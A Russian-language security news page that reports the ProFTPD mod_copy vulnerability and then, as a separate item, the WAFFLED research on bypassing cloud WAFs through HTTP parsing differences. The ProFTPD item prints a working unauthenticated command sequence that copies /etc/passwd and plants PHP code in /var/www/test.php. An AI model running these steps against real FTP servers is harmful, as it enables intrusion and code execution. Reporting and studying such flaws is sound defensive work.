Обнаружена опасная уязвимость в ProFTPD

Обнаружена опасная уязвимость в ProFTPD

В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя.

Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.

В настоящий момент исправления доступны только в виде патча в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6, RHEL 7, Ubuntu, Debian, Fedora,openSUSE, SLES, Slackware, Gentoo, CentOS, FreeBSD, пишет opennet.ru.

Пример копирования файла /etc/passwd в /tmp/passwd.copy:

Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful

Пример организации запуска кода на web-сервере:

site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful

Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:

2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

WAF-защиту Azure, Cloudflare, Google Cloud можно обойти 1207 способами

Команда исследователей из Северо-Восточного университета и Дартмутского колледжа разработала новый метод обхода фильтров WAF, который использует различия в парсинге HTTP-запросов на файрволах и защищаемых веб-серверах.

Традиционные способы обхода WAF полагаются на обфускацию вредоносной полезной нагрузки. Авторы PoC-атаки WAFFLED не стали трогать пейлоад и сосредоточились на невинных элементах контента — заголовках, сегментах тела запроса.

Для манипуляций были выбраны три широко используемых типа содержимого: multipart/form-data, application/xml и application/json.

Экспериментаторы изменяли набор символов для составного контента, значения параметров boundary и namespace, XML-схемы, декларации DOCTYPE, разделы CDATA, форматирование и вложенные структуры в JSON-объектах, стараясь ввести в заблуждение WAF, но так, чтобы атакуемый сервер при этом смог распарсить пробивший фильтры вредоносный запрос без проблем.

Всего в ходе исследования было обнаружено 1207 вариантов обхода WAF, с помощью которого злоумышленник может получить доступ к конфиденциальным данным. Подобные атаки известны как HTTP request smuggling (HRS).

 

Как оказалось, обход по методу WAFFLED составляет угрозу для четырех из пяти испытанных защитных продуктов (AWS WAF, Microsoft Azure WAF, Google Cloud Armor, Cloudflare WAF и ModSecurity, встроенный в nginx).

Тестирование проводилось в комбинации с веб-приложениями на основе популярных фреймворков, таких как Flask, FastAPI, Gin, Express, Spring Boot, Laravel. Проверка в полевых условиях показала: HRS из-за разницы в интерпретации HTTP-запросов актуален для 90% сайтов.

 

Ознакомившись с результатами исследования, Google признала наличие проблемы, заявила, что будет решать ее в приоритетном порядке, и выплатила вознаграждение. В Cloudflare тоже готовят фикс, Microsoft и ModSecurity-сообщество обновили наборы правил.

По мнению университетских исследователей, от таких уязвимостей избавиться не так уж сложно, главное — неукоснительно следовать рекомендациям RFC. В подтверждение своих слов авторы WAFFLED создали опенсорсный инструмент-прокси, который тщательно проверяет HTTP-запросы и приводит их в соответствие текущим стандартам RFC до передачи на WAF.

Тестирование HTTP-Normalizer показало, что он способен блокировать попытки обхода по методу WAFFLED с эффективностью 100%. Накладные расходы при этом ничтожны.

Тем, кто не в состоянии развернуть дополнительный прокси, советуют установить новейшие наборы правил (Azure DRS 2.1, ModSecurity CRS 3.3), по возможности исключить экзотические типы содержимого и ужесточить проверку заголовков Content-Type, Content-Length и Transfer-Encoding на уровне WAF и приложений.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru